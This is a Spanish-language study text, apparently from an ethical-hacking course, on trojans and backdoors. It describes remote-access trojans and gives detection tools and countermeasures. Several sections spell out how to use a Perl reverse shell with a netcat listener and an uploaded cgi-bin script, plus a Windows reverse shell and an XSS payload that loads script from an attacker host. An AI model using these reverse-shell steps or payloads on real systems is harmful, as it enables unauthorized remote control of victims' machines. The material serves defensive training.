 Acceso rápido a los archivos deseados a través del correo electrónico.
 Una forma más segura y confiable de acceder a aplicaciones romte
RemoteByMail acepta y ejecuta los siguientes comandos:
 HI: envía un correo electrónico con el contenido "Hola" a la dirección de correo
electrónico del usuario
 SEND: envía archivos ubicados en la computadora host a la dirección de correo
electrónico del usuario.
 ZEND: comprime y entonces envía files o folders localizados en la computadora host a la
dirección de correo del usuario. Para abrir un archivo adjunto zip después de que el
usuario lo reciba, debe ingresar la contraseña que eligió al crear la cuenta.
 EXECUTE: ejecuta programas o archivos por lotes en la computadora del host
 DIR: envía el directorio de una unidad o carpeta a la dirección de correo electrónico del
usuario

Atelier Web Remote Commander


Las características y funcionalidades clave de Atelier Web Remote Commander son las
siguientes:
 Atelier proporciona acceso remoto al escritorio de la computadora al usuario, y puede
instalar software de forma remota con un mouse o pulsación de tecla en la
computadora del host
 El programa puede simular kestroke en el teclado de la computadora remota
 Un atacante puede descargar o instalar archivos o programas en la computadora host
remota
 Los archivos locales se pueden cargar en el sistema remoto
 El programa puede comprimir o descomprimir archivos de forma remota
 Remote Commander puede crear, eliminar, copiar, mover y cambiar el nombre de
directorios y archivos de forma remota.
 Los servicios pueden iniciarse, detenerse, pausarse, reanudarse e incluso descargarse
 El programa puede apagar, apagar y reiniciar la computadora remota de forma remota
 El programa ofrece listas completas y detalladas de dispositivos de hardware, que
incluyen lo siguiente:
o Un visor de memoria física
o Un buscador de puertos, que asigna aplicaciones a puertos abiertos
o Todos los puertos de conexión y de escucha, estadísticas TCP, estadísticas UDP,
estadísticas ICMP, tablas de enrutamiento, servidores DNS, rutas persistentes y
estadísticas / configuraciones de IP.

Shell y herramienta de túnel


Un shell, en el contexto de la informática, es cualquier programa o conjunto de programas que
sirve como interfaz de usuario como componente central o sistema operativo. Las herramientas
de manipulación de shell a menudo se usan con herramientas de túnel para obtener acceso no
autorizado a los sistemas.

Windows Reverse Shell


El Reverse Shell universal de Windows codificado con VC ++ se conecta de nuevo a una IP
especificada a través de un puerto fijo y usa un puerto fijo en la máquina fuente para evadir los
firewalls. El puerto predeterminado 443 se usa para establecer una conexión y se conecta a un
puerto predeterminado 8080
Windows Reverse Sheell se ejecuta con la dirección IP del usuario después de iniciar un
escucha Netcat en la máquina del usuario en el puerto 8080. El shell inverso se puede ejecutar
en la máquina de destino con la dirección IP del usuario como parámetro, para ejemplo: Rx
"192.168.0.1" Se conecta desde la máquina atacada a la máquina del enrutador (la máquina del
usuario) en el puerto 8080
Para utilizar esta herramienta, el oyente Netcat debe usarse en el puerto 8080 de la máquina
del atacante y el Rx debe usarse en la máquina de destino. La máquina destino se conectará a la
máquina del atacante con un shell de comandos. El Rx se puede eliminar después de que el
atacante haya caído sobre el caparazón. El proceso saldrá automáticamente. La única conexión
entre las dos máquinas es a través del archivo cmd.exe

Los piratas informáticos de Perl-Reverse Shell pueden usar esta herramienta si tienen acceso de
carga a un servidor web que ejecuta Perl. Este script abre una conexión TCP saliente desde el
servidor web a la máquina del atacante. Un shell está vinculado a esta conexión TCP que
permite al atacante ejecutar programas interactivos como telnet, ssh y su.
Los pasos para llevar a cabo este programa son los siguientes:
1. Para evitar que otra persona abuse de la puerta trasera, el atacante debe modificar el código
de fuente para indicar si se debe devolver el shell inverso. Edite las siguientes líneas de perl-
reverse-shell.pl:
2. Inicie una escucha de tCP en un host y un puerto al que pueda acceder el servidor web: nc -v
-n -l -p 1234
3. Después de encontrar una vulnerabilidad en el sitio web, el atacante puede cargar perl-
reverse-shell-pl, colocándolo en un directorio donde se pueden ejecutar los scripts de Perl. El
script se puede ejecutar ingresando su ubicación en el navegador web del atacante, por
ejemplo, http: //somesite/cgi-bin/perl-reverse-shell.pl
4. El servidor web devolverá un shell al oyente Netcat del arracker. Los comandos como w,
uname -a, id y pwd son un automáticamente:
nc -v -n -l -p 1234

listening on [any] 1234 …


connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58034
16:35:52 up 39 days 19:30, 2 users, load average: 0.22, 0.20, 0.14
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
root :0 19May07 ?xdm? 5:07m 0.01s /bin7sh /usr/kde/3.5/bin/startk
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPTSun Apr 1 16:49:38 BST 2020
X86_64 AMD
Athlon™ 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
/
apache@somehost / $

XSS (Cross-Site Scripting) Shell


Xss implica la inyección de código malicioso en un sitio web para engañar a un usuario para que
ejecute el código. Este código generalmente se presenta como un hipervínculo que, cuando se
ejecuta, le da al atacante acceso al sistema del usuario. Un canal XSS es un canal de
comunicación abierto por un ataque XSS
Un ataque de inyección de muestra realizado en JavaScript de XSS es.
http://example.com/q= ">
<scriptsrc="http://xssshellservr/sxxshell.asp"> </script>

El lado del servidor de XSS Shell requiere un servidor web ASP y IIS, y funciona coordinando el
shell entre un atacante y la víctima. El lado del cliente se carga en el navegador de la víctima,
recibe y procesa comandos, y proporciona el canal entre la víctima y el atacante.
XSS Shell también tiene una interfaz de administración, que permite al atacante enviar nuevos
comandos y recibir respuestas del navegador de la víctima.

XSS Tunnel
Xss Tunnel le permite a los usuarios hacer túnel al tráfico HTTP a través de un canal XSS, para
usar virtualmente cualquier aplicación que soporte proxies HTTP. El túnel XSS es el standard
proxy HTTP que se ubica en el sistema del Atacante. EL túnel XSS convierte el pedido y
responde transparentemente, para validar la respuesta HTTP y el pedido del Shell XSS.

Otras herramientas de creación de troyanos

Servidor SHTTPD
SHTTPD es un pequeño servidor HTTP que puede integrarse fácilmente dentro de cualquier
programa.
Se proporciona el código fuente de C ++
A pesar de que SHTTPD no es un troyano, se puede envolver fácilmente con ajedrez. Para
truncar una computadora en un servidor web invisible.

Trojan Horse Construction Kits


Estos kits ayudan a los atacantes a construir caballos de Troya de su elección. Las herramientas
en estos kits pueden ser peligrosas y pueden ser contraproducentes si no se ejecutan
correctamente.
Los siguientes son algunos de los kits de troyanos disponibles:
1. El Trojan Horse Construction Thck-tc.exe.Thck-fp.exe y Thck-tbc.exe.
a. Thck-tc.exe es el verdadero constructor de troyanos. Con esta utilidad de línea
de comandos, el atacante puede construir un troyano.
b. Thck-fp.exe es un mainpulator de tamaño de archivo. Con esto, el atacante
puede crear archivos de cualquier longitud, rellenar archivos a una longitud
específica o incluso agregar una cierta cantidad de bytes a un archivo.
c. Thck-tbc.exe devolverá cualquier programa COM a una bomba de tiempo.
2. The Progenic Mail Trojan Construction Kit (PMT): Este kit es una utilidad de línea
comando que permite al atacante crear un EXE (PM.exe) para enviarlo a la victima.
3. Pandora´s Box: Este es un programa creador de troyanos.

Rapid Hacker

Rapid Hacker es una herramienta utilizada para evitar los tokens de tiempo de espera en sitios
como Rapidshare.com. Utiliza proxies para hacer que la IP del usuario parezca cambiar, de
modo que cada vez que el usuario se conecta a un sitio, le dice al sitio que el usuario es otra
persona.

SARS Trojan Notification

Notificación de troyano SARS Notificación de troyano SARS: envía la dirección IP de la víctima al


atacante. Cada vez que la computadora de la víctima se conecta a Internet, el atacante recibe
una notificación.
Los siguientes son los tipos de notificación:
Notificación SIN: notifica directamente al servidor de los atacantes
Notificación ICQ: notifica al atacante mediante canales ICQ
Notificación PHP: envía datos conectándose al servidor PHP en el servidor del atacante
Notificación por correo electrónico: envía notificaciones por correo electrónico
Net send: envía notificaciones a través de un comando net sen
Notificación de IRC: notifica al atacante mediante canales de IRC

T2W (TrojanToWorm)
Es una aplicación que permite al usuario transformar un Troyano en un Gusano. Este programa
tiene las siguientes características:

 No requiere conocimientos de programación para usarlo


 Permitir que se fijen fechas específicas de infección.
 Puede deshabilitar cualquier aspecto del sistema operativo que escoja el usurio.

TROYANOS FAMOSOS

Loki
Este programa es una prueba de concepto funcional para demostrar que los datos
pueden transmitirse sigilosamente a través de una red ocultándolos en el tráfico que
normalmente no contiene cargas útiles. El código original puede tunelizar el equivalente
de una sesión Unix RCMD / RSH en paquetes de solicitud de eco ICMP (ping) o UDP
trffic al puerto DNS. Loki se utiliza como puerta trasera en un sistema UNIX después de
que el acceso a la raíz se ha visto comprometido. La presencia de Loki en un sistema es
una evidencia de que el sistema se ha visto comprometido en el pasado.
Aunque la carga útil de un paquete ICMP a menudo contiene solo información de
temporización, ningún dispositivo de firewall verifica el contenido de los datos. Por lo
tanto, esta cantidad de datos puede ser arbitraria en contentas, lo que lo convierte en
un canal encubierto potencial. Explota el canal secreto que existe dentro del tráfico
ICMP_ECHO. Este canal existe porque los dispositivos de red no filtran el contenido del
tráfico ICMP_ECHO. Los paquetes de troyanos se enmascaran como tráfico común ICMP
ECHO.
Loki se puede utilizar como puerta trasera en un sistema al proporcionar un método
secreto si se ejecutan comandos en una máquina de destino. Un paquete LOKI con una
dirección IP de origen falsificada llegará al destino y generará una ICMP_ECHOREPLY
legítima, la cual viajará al host falsificado y se dejará en silencio subsecuentemente. Este
paquete no puede contener la dirección IP de 4 bytes del destino deseado de los
paquetes de respuesta de Loki, así como 51 bytes de datos malévolos.

El aspecto importante de Loki es que los enrutadores, los cortafuegos, los filtros de
paquetes y los hosts con alojamiento doble pueden servir como conductos. Un exceso
de paquetes ICMP_ECHOREPLY con una carga útil confusa puede ser una indicación de
que el canal está en uso.
El programa independiente de servidor Loki se puede detectar fácilmente, sin embargo,
si el atacante puede mantener el tráfico en el canal al mínimo y ocultar el servidor Loki
dentro del núcleo, la detección es casi imposible.

Contramedidas de Loki

Los firewalls con estado son la versión mejorada de los filtros de paquetes. No solo
hacen la misma verificación contra una tabla de reglas y rutas, si están permitidas,
también realizan un seguimiento de la información de estado, como los números de
secuencia TCP.
Preste atención a los protocolos de aplicación para garantizar que solo pase el tráfico
legítimo. Estos filtros pueden obtener paquetes UDP (por ejemplo, para DNS y RPC) de
forma segura a través de firewalls porque UDP es un protocolo sin estado. Además, es
más difícil para los servicios RPC. Sin embargo, esto no resuelve el problema de los
canales encubiertos ICMP porque los ecos ICMP también están sujetos a las reglas del
firewall.
Si no hay una regla para permitir el ping, todos esos paquetes se vuelven droppe. Si el
ping llega a través de un túnel, y las interfaces no están configuradas para forzar el
tráfico del túnel hasta los servidores proxy, los paquetes de ping se envían sin
modificaciones.
Aquí hay algunas contramedidas que pueden ayudar a mantener a raya a los loki:
El tráfico externo ICMP_ECHO debe deshabilitarse por completo.
Esto tiene serias implicaciones para la administración de red normal, ya que afecta la
administración de la comunicación de red con el segmento local. Desactive el tráfico
ICMP_ECHO-REPLY en un enrutador Cisco. Las implicaciones de seguridad hacen de esta
una elección prudente
Asegúrese de que los enrutadores estén configurados para no enviar paquetes de error
ICMP_UNREACHABLE a los hosts que no responden a ARP´S.

Beast

Beast, es un poderoso troyano construido con Delphi. Una de las características


distintivas de Beast es que es un troyano todo en uno (el cliente, el servidor y el editor
del servidor se almacenan en las mismas aplicaciones).
Una característica importante del servidor Beast es que utiliza SQL, tecnología de
inyección. Al principio, el servidor se ejecuta en la memoria de winlogon.exe (en
sistemas 9x en systray.exe). Posteriormente, desde winlogon.exe, las inyecciones se
realizan en explorer.exe o Internet Explorer, de acuerdo con las opciones elegidas al
construir el servidor.
El principal beneficio de ejecutar de esta manera es que se pueden controlar otras
aplicaciones inyectadas. Si el servidor se inyecta en explorer.exe, no sería visible en el
Administrador de tareas. Cuando el servidor se inyecta en Internet Explorer, se ejecuta
en la cuenta del sistema en Mt y es visible en Task Manaer. De esta manera, los
cortafuegos se pueden omitir más fácilmente.
La única forma de deshacerse de Beast es iniciando en modo seguro.
Troyano MoSucher

MoSucher es un troyano de Visual Basic que crea una puerta trasera y permite el control
remoto de un sistema. MoSucher puede cargar automáticamente con system.ini y / o el
registro, y puede configurarse para elegir aleatoriamente con qué método cargar
automáticamente. Aquí hay una lista de nombres de archivos que MoSucker sugiere
nombrar al servidor: MSNETCFG.exe, unin0686.exe, Calc.exe, HTTP.exe, MSWINUPD.exe,
Ars.exe, NETUPDATE.exe y Register.exe.
activar el bloqueo de mayúsculas de la víctima
Permitir que el atacante chatee con la víctima
Cerrar / eliminar un servidor
Controlar el ratón de la víctima
Sistema de víctimas de accidentes
Ser utilizado como administrador de archivos
Voltear la pantalla de la víctima vertical u horizontalmente
Congelar la pantalla de la víctima
Obtener contraseñas
Establecer la resolución de pantalla de la víctima
Obtener información del sistema
Desconecta Internet
Ocultar / mostrar la barra de tareas de la víctima
Actuar como keylogger
Minimiza todas las ventanas
Abrir / cerrar unidad de CD-Rom
Servidor de ping
Imprimir texto
Actuar como gerente de procesos
buscar archivos
Enviar mensajes

Otros Troyanos

winarp_min

Winarp_mim es un troyano utilizado para un ataque ARP man-in-the-middle. El


protocolo de resolución de direcciones (ARP) es el protocolo utilizado para mapear una
dirección IP. ARP reconoce la dirección IP para facilitar las comunicaciones
bidireccionales, pero no requiere autenticación. Debido a esto, cuando una entidad
envía una solicitud ARP a un servidor, una persona que se hace pasar por el servidor
solicitado puede interceptarla y responderla. El individuo puede manipular el mensaje
interceptado para extraer información sin el conocimiento del remitente.
Winarp - mim se puede utilizar para detectar en una red conmutada. Necesita el
controlador WinPcap disponible en http://winpcap.polito.it/ y funciona en Windows 9x /
2000 / XP. Winarp_mim funciona en tres pasos:
1. Envíe un paquete de solicitud Arp al objetivo A y al objetivo B
2. Este estado falso de los ARPcaches se mantiene con los paquetes de respuesta ARP.
La información de los campos del remitente ARP es la misma.
3. Con el final del ataque, se envían dos paquetes de solicitud ARP más.

Backdoor.Theef (AVP)

Backdoor.Theef (AVP) es un troyano administrativo remoto que puede abrir varios


puertos en la máquina de la víctima (por ejemplo, el puerto 69, 4700, 13500 y 2800). Los
métodos de instalación más comunes implican la explotación del sistema o la seguridad,
y los usuarios desprevenidos ejecutan manualmente programas desconocidos. Los
canales de distribución incluyen correo electrónico, páginas web maliciosas o
pirateadas, Internet Relay Chat (IRC) y una red punto a punto. Una vez que la máquina
se ve comprometida, el atacante puede realizar muchas funciones en la máquina de la
víctima.

DownTroj

Down Troj Este es un troyano con las siguientes características:


 Cuadro de mensaje remoto
 Información remota
 Navegador de archivos remoto (descargar, cargar, eliminar, crear)
 Shell remoto
 Administrador de tareas remotas (inicio / kell)
 keylogger remoto
 Conexión inversa (evita los enrutadores)
 Número ilimitado de hosts / puertos para conectarse
 Instalaciones en una ubicación a la que es imposible acceder con el Explorador
de Windows
 Proceso de administrador de tareas ocultas
 Ventana de firewall bypass
Turkojan
Es un troyano de puerta trasera que le da a un atacante acceso no autorizado a una
computadora comprometida. Este troyano puede entregar información confidencial al
atacante mediante la grabación de pulsaciones de teclas.

Trojan.Satellite-Rat
ofrece a los atacantes los medios para manipular y controlar una máquina objetivo
desde una ubicación remota a través de Internet. El atacante puede realizar cambios no
deseados en el sistema de la víctima, instalar complementos relacionados con la
publicidad e insertar componentes relacionados con la publicidad en la cadena de
proveedores de servicios en capas de Winsock. el atacante también puede bloquear o
redirigir las conexiones de red preferidas de la víctima y recopilar datos potencialmente
confidenciales sin previo aviso y consentimiento.

Trojan.Hav-rat
es un troyano de administración reomte que contiene software malicioso que puede
comprometer un sistema informático individual o una red completa. Utilizo una
conexión inversa para que requiera abrir puertos en la máquina de destino.

Poison Ivy
Es un malware de conexión inversa escrito en masm (servidor) y Delphi (cliente).
Requiere actualizaciones del servidor para saber cuántas funciones nuevas se agregan al
servidor. Este troyano no requiere ningún complemento, DLL u otros archivos además
del servidor, y no suelta ningún archivo en el sistema de la víctima. Proporciona
comunicaciones cifradas ARC4 y permite la compresión transparente de comunicaciones
y transferencias. Funciona como keylogger, administrador de contraseñas, redirector de
puertos y sniffer de tráfico.

Shark
Es una pieza de malware escrita en Visual Basic. Utiliza un cifrado RC4 para el cifrado del
tráfico. También funciona como un keylogger. La lista negra de procesos interactivos
alerta a un instalador cuando el proceso de la lista negra se identifica en la máquina de
destino. Permite a un atacante tomar medidas contra el proceso en la lista negra.
También realiza inyecciones de código en ventanas ocultas de Internet Explorer para
evitar los firewalls. Este troyano utiliza un descargador web para descargar un archivo
.exe en la máquina de destino.
HacherzRat
Es un troyano de administración remota. Cambia lo siguiente en el registro de inicio:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run “Svechost32”

ProAgent
Es un keylogger que compromete el sistema de seguridad en una computadora. Se
puede usar para amenazar la seguridad de la información personal y financiera. El
troyano monitorea todas y cada una de las claves ingresadas por el usuario objetivo en
los sistemas y lo envía de regreso al atacante.

OD Client
Es un troyano de administración remota. Utiliza un descargador web para descargar
archivos ejecutables en el sistema de destino. Sus características incluyen lo siguiente:
 Contiene un descargador web remoto
 Descarga y ejecuta archivos de forma remota desde Internet
 Admite Windows Xp y Windows Server Rooting
 Agrega el usuario administrador al host y permite la conexión de escritorio
remoto
 Desinstala el servidor del host
 Apaga el servidor pero no lo desinstala

MHacker-PS
Es un troyano de administración remota. Cuando infecta un sistema, utiliza archivos
ejecutables como los siguientes:

c: \\ WINDOWS \ system32 \ NortonAVS.exe

Realiza los siguientes cambios en el registro de inicio:

HKEY_LOCAL _MACHINES \SOFTWARE \Microsoft \Windows \CurrenteeVersion \Run


"(Default)"

RubyRAT Pro
Es un troyano de administración remota. Los atacantes utilizan este troyano para
acceder a información privada y confidencial en una computadora. Sus características
incluyen lo siguiente:
 Puede acceder a la información básica de la computadora
 Ejecuta comandos
 Puede habilitar / deshabilitar el servidor terminal
 Explorador de archivos con carga / descarga / ejecución de archivos / lista de
información de archivos / procesos de eliminación

ConsoleDevil
Es un pequeño troyano de administración remota que permite a un atacante tomar el
control de la consola de Windows de una computadora remota (símbolo del sistema).
Sus características incluyen lo siguiente:
 Conexión inversa
 Inyección de código para evitar el firewall
 Tamaño de servidor pequeño: 13 KB desempaquetado
 Consola remota
 Descargador web

ZombieRat
Es un troyano de administración remota creado en Delphi 2005. Su función incluye lo
siguiente:
Abre programas de Windows, como msconfig, calc, paint, marrator, notpad, wordpard,
regedit y clock
Habilita / deshabilita el Administrador de tareas
Oculta el botón de apagado
Modifica los subtítulos y fondos de pantalla del botón de inicio
Funciona como un keylogger y bloquea la entrada.
Mata procesos

Webcam Trojan
Es un troyano de administración remota. Permite a un atacante controlar de forma
remota una máquina a través de un cliente en el sistema del atacante y un seridor en el
sistema de destino.

DjiRAT
Is a remote administration trojan. This Trojan is used by the attacker to gain
unauthorized access to a target system.

Troya
Es un troyano de administración remota WEB. Por lo tanto, no requiere un programa
cliente para conectarse a una PC remota. Este troyano utiliza Internet Explodrer para
conectarse a una PC remota para que pueda usarse como un sitio web. Se puede
conectar una PC remota escribiendo la dirección IP en el navegador web.

ProRat
ProRat es un troyano de administración remota basado en Internet que tiene
componentes de cliente y servidor. Abre un puerto en la máquina de destino que
permite que un atacante (cliente) realice varias operaciones en la máquina de la víctima
(servidor). No puede conectar usuarios a través de una red inalámbrica. Se conecta solo
mediante una LAN.

Dark Girl
Dark Girl es un troyano de a
dministración remota. Este troyano se usa como Keylogger. Utiliza un descargador web
para soltar los archivos ejecutables en la máquina de destino.

DaCryptic
DaCryptic
Es un troyano de administración remota. Funciona como un Keylogger al monitorear
cada clave escrita por el usuario y enviarla de regreso al atacante. También tiene la
capacidad de infectar computadoras por correo electrónico. Este troyano se copia de
una máquina a otra, pero no se copia en un archivo.

Poker Game.app
Es un troyano que depende en gran medida de la ingeniería social. Aparece con el
nombre de archivo Poker.app como un archivo zip de 65 KB. Descomprimido, es de 180
KB. IT comprueba la contraseña proporcionada por el usuario para ver si coincide con la
contraseña del sistema del usuario. Si las contraseñas no coinciden, volverá a preguntar.
Se requiere la contraseña del usuario para continuar.
Cuando se ejecuta este troyano, habilita SSH en el MAC en el que se está ejecutando,
luego transfiere la contraseña de nombre de usuario y la dirección IP de la máquina a un
servidor. Solicita la contraseña de administrador mostrando el siguiente mensaje: "Se ha
desviado un archivo de preferencias corrupto y debe repararse". Después de obtener la
contraseña de administrador, el programa realiza su tarea y envía esta contraseña a una
dirección de correo electrónico especificada con el asunto "Howdy". Este mensaje
contiene el nombre de usuario, la contraseña y la dirección IP. Después de obtener
acceso SSH a un MAC, el atacante puede tomar el control de la máquina infectada y
eliminar los archivos, dañar el sistema operativo, etc.
Contramedidas a los Troyanos

Evitar una infección troyana


Se puede evitar una infección troyana implementando las siguientes medidas:
 No descargue ningún archivo de personas o sitios desconocidos sin asegurarse
de que el archivo sea genuino
 Antes de abrir un archivo, averigüe qué tipo de archivo es, incluso si el archivo
proviene de un amigo
 No haga uso de atributos en programas que obtienen o previsualizan archivos
automáticamente.
 No se debe arrullar al usuario con una falsa sensación de seguridad solo porque
se está ejecutando un programa antivirus en el sistema
 Asegúrese de que las defensas del perímetro corporativo se mantengan
continuamente actualizadas
 Filtre y escanee todo el contenido en la línea de defensas perimetrales que podría
contener contenido malicioso.
 Ejecute versiones locales de antivirus, firewall y software de detección de
intrusiones en el escritorio.
 Controle rigurosamente los permisos del usuario dentro del entorno de escritorio
para evitar la instalación de aplicaciones maliciosas
 Administre la integridad del archivo de la estación de trabajo local a través de
sumas de verificación, practique auditorías y escaneo de puertos
 Monitoree el tráfico de red interno para puertos abiertos o tráfico encriptado
 Use múltiples escáneres de virus
 Instale software para identificar y eliminar adware, malware y spyware.

Eliminar Controladores (Drivers) de Dispositivos Sospechosos

Eliminar controladores de dispositivos sospechosos es una medida importante para la


desinfección de troyanos. Los siguientes son los pasos para hacerlo:

1. Verifique los controladores de dispositivo basados en el núcleo y elimine el archivo


sospechoso "sys".
2. Algunas veces los archivos están bloqueados cuando el sistema está en ejecución.
Inicie el sistema en modo sabio y elimine los archivos.
3. Si la pantalla aún muestra "acceso denegado", inicie el sistema en modo consola y
elimine los archivos.
4. Vea los controladores cargados iniciando la siguiente secuencia:
Haga clic en Inicio, luego en Todos los programas, luego en Accesorios, luego en
Herramientas del sistema y luego en Información del sistema, luego encontrará
"Entorno de software y Controladores del Sistema".

Detección de troyanos

Los siguientes son los pasos para detectar troyanos:


1. Busque puertos abiertos sospechosos con herramientas como las siguientes:
 Nestat
 Fport
 TCPview
2. Busque procesos de ejecución sospechosos utilizando lo siguiente:
 Process Viewer
 What´s on My Computer?
 Insider
3. Busque entradas de registro sospechosas utilizando las siguientes herramientas:
 What´s Running?
 Msconfig
4. Busque actividades de red sospechosas con la siguiente herramienta:
 Ethereal
5. Ejecute un escáner de troyanos para detectar troyanos.

Herramientas de detección
Netstat se usa para mostrar conexiones TCP activas, tablas de enrutamiento IP y puertos
en los que la computadora está escuchando. Su sintaxis es:
Opciones de NETSTAT -p intervalo de protocolo
Las opciones incluyen lo siguiente:
-a Muestra todas las conexiones y puertos de escucha
-e Displays estadísticas de Ethernet
-n Muestra direcciones y números de puerto en forma numérica.
-r Muestra la tabla de enrutamiento
-p <protocolo> Muestra solo las conexiones para el protocolo especificado. Puede ser
TCP o UDP
-s Muestra estadísticas por protocolo. Por defecto, las estadísticas se muestran para IP,
ICMP, TCP y UDP.
fPort admite varios sistemas operativos. Informa de puertos TCP / IP y UDP abiertos, y
puede asignarlos a la aplicación propietaria, o los procesos en ejecución con el PID, el
nombre del proceso y la ruta. fport puede identificar puertos abiertos desconocidos y
sus aplicaciones.
El programa contiene cinco interruptores. Estos pueden utilizarse ya sea “/” o el “-“
precediendo el Switch. Estos son:

 /? Para ayuda
 /p arreglo por puerto
 /a arregle por aplicación
 /i arregle por PID
 /ap arregle por ruta

TCPView

Lista los endpoints TCP y UDP en un sistema, incluyendo las direcciones locales y
remotas y el estado de las conexiones TCP. Actualiza cada segundo. Los Endpoints que
cambian de estado de un segundo a otro son resaltados en amarillo, los que son
borrados se resaltan en rojo y los Endpoint nuevos se ponen en verde.

PreView

Esta utilidad es un visualizador de procesos que despliega el PID, prioridad, uso de


memoria, amenazas y ruta del módulo, para los procesos que corren en Windows. Tiene
una interfase de usuario que incluye una herramienta de encontrar procesos para
seleccionar el que está corriendo, un árbol de proceso para mostrar la jerarquía y un
módulo de uso de los procesos.

What´s on My Computer?

Esta herramienta ayuda a obtener información de cualquier file, folder, proceso, servicio,
conexión IP, módulos o controladores corriendo en la computadora. Protege contra
virus, troyanos, spywares y mal software o de baja calidad. Provee información adicional
sobre los programas que están corriendo sobre una interfase de acceso Web.
What´s on My Computer?

Realiza las siguientes funciones:


 Mantiene troyanos, spywares, keyloggers y mal software (defectuoso) fuera de mi
computadora.
 Optimiza y mejora el rendimiento seleccionando qué programa iniciará en
Windows.
 Encontrará cualquier programa, file o folder en la computadora
 Da información detallada de los programas que corren en la computadora.

Super System Helper Tool

Realiza las siguientes funciones:


 Toma control complete de todos los procesos en ejecución
 Muestra todos los puertos abiertos y los mapea a los procesos en ejecución.
 Muestra todos los DLLs cargados o Ventanas abiertas por los procesos.
 Termina o bloquea cualquier proceso y maneja el inicio de las aplicaciones, así
como el BHO (Browser Helper Object)
 Optimiza Windows.
 Programa la computadora para apagarla en un tiempo específico.

What´s Running

Es una herramienta que identifica qué está corriendo actualmente en el sistema. Provee
una mirada detallada en los procesos, servicio, controladores y conexiones IP para
sistemas Windows.

Usando esta herramienta puede hacer lo siguiente:

 Encuentra información importante como qué módulos están involucrados con los
procesos específicos.
 Controla el sistema arrancando y parando los servicios y procesos.
 Configura fácilmente los programas de inicio.

Sus características incluyen:

 Menús pop-up para procesos y módulos con folders abiertos.


 Selección de columnas para conexiones IP y módulos.
 Función de arranque de procesos
 Icono delta para indicar cambios de valores
 Barra de tareas de estilo XP
 Ficha Controlador, que muestra información sobre los controladores
 Capacidad para gestionar programas de inicio
 Instantánea (Snapshot) al archivo, incluidos todos los datos

Msconfig

La Utilidad de configuración del sistema de Microsoft es una herramienta utilizada para


solucionar problemas en una computadora. Msconfig.exe es un archivo que ayuda a
editar y administrar archivos de configuración de texto como win.ini y autoexec.bat.
Asegura que una computadora arranque más rápido y se bloquee con menos
frecuencia. Comprueba automáticamente si hay troyanos.

Autoruns
Es una utilidad que muestra qué programas están configurados para ejecutarse durante
el arranque o inicio de sesión del sistema, y muestra las entradas en el orden en que
Windows las procesa. Estos programas incluyen los que se especifican en Run, RunOnce
y otras claves de registro.
Un usuario puede resaltar una entrada y hacer clic en el botón Saltar a para iniciar
Regedit con la entrada seleccionada. Además de los programas de inicio, las ejecuciones
automáticas también muestran una lista de servicios, tareas programadas, proveedores
de Winsock e Internet Explorer BHO. Cada uno de ellos también se puede habilitar o
deshabilitar.

HijackThis

Es un detector y eliminador general de secuestradores de navegador. Examina ciertas


áreas clave del registro y el disco duro, y enumera sus contenidos. Estas son áreas que
usan los programadores y secuestradores (hijackers) legítimos.
Contramedidas a los Backdoors

Quizás el viejo adagio "una onza de prevención vale una libra de cura" es relevante
aquí. Las siguientes tres líneas de defensa contra puertas traseras ayudarán a prevenir
la instalación de una de estas:
1. La primera línea de defensa es tener cuidado al descargar archivos adjuntos de
correo electrónico e instalar aplicaciones descargadas de Internet
2. La segunda línea de defensa es utilizar productos antivirus que son capaces de
reconocer firmas de troyanos. Las actualizaciones deben aplicarse regularmente a través
de la red.
3. La tercera línea de defensa proviene de mantener las versiones de las aplicaciones
cargadas con los últimos parches de seguridad y anuncios de vulnerabilidad.

Herramientas de contramedidas de puerta trasera

Tripwire
Es un verificador de integridad del sistema (SIV). Calcula hashes criptográficos de todos
los archivos clave del sistema que deben ser monitoreados para detectar
modificaciones. El software Tripwire funciona creando una instantánea de línea base del
sistema. Almacena la instantánea en una base de datos y luego verifica la integridad del
sistema verificando su estado actual contra la línea de base. Al comparar el sistema
actual con una instantánea de cómo debería verse el sistema. Trpwire identifica de
forma rápida y precisa cualquier archivo agregado, modificado o eliminado. El programa
supervisa los atributos clave de los archivos que no deben cambiar, incluida la firma
binaria, el tamaño y el cambio de tamaño esperado.

System File Verification

La protección de archivos de Windows niega el reemplazo de los archivos del sistema


que están protegidos y certificados por Microsoft, como los archivos .sys, .dll, .ttf, .fon
y .exe. Operan en el fondo. Esto proporciona protección a todos los archivos instalados
por el programa de instalación de Microsoft. Esto incluye aproximadamente 660
archivos bajo% sytemroot%. Windows procesa estos archivos con los algoritmos SHA-1
y los almacena en% systemroot% \ system32 \ dllcache \ nt5.cat.
La verificación de firma de archivo se utiliza para detectar qué archivos del sistema están
firmados digitalmente y luego proporciona sus hallazgos. Para iniciar la verificación de la
firma del archivo, haga clic en Inicio, haga clic en Ejecutar y luego escriba sigverif.
System File Checker (sfc.exe) es una utilidad de línea de comandos que escanea y
verifica las versiones de todos los archivos protegidos del sistema después de que el
usuario reinicie la computadora.

Para usar este utilitario debe tener privilegios de administrador y una consola activa.

Microsoft Windows Defender

Windows defender protege las computadoras contra programas de intrusión no


deseados.
Sus características son:
Un sistema de monitoreo que recomienda acciones contra spywares cuando se detecta
Control sobre programas con Software Explorer
Soporte de múltiples idiomas con funciones de globalización y localización.

Software anti-troyano
El software anti-troyano está específicamente diseñado para ayudar a detectar troyanos
(no necesariamente virus o gusanos). La mayoría se puede ejecutar junto con un
programa antivirus, sin embargo, el escáner de troyanos no es 100% efectivo ya que los
fabricantes no pueden mantenerse al día con la rápida evolución de los troyanos que
pueden cambiar a diario. Por lo tanto, la mejor práctica es actualizar el software anti-
troyano regularmente.
La siguiente es una lista de algunos software anti-troyanos conocidos que están
disponibles en la versión de prueba a:
Trojan Guard
TrojanHunter
ZoneAlarm
WinPatrol
LeakTest
Kerio Personal Firewall
Sub-Net
TAVScan
SpyBot Search & Destroy
Anti Trojan
Cleaner

TrojanHunter

Es un programa que encuentra y remueve Troyanos de las computadoras. Entre sus


características están las siguientes:

Motor de escaneo de archivos de alta velocidad


El escaneo de memoria detecta troyanos modificados
Escaneo de registro
Escaneo de archivos .ini
Escaneo de puertos

Comodo BOClean
Protege las computadoras contra Troyanos, Malware, y otras amenazas. Trabaja
constantemente en Background e intercepta cualquier actividad troyana reconocida.

XoftspySE
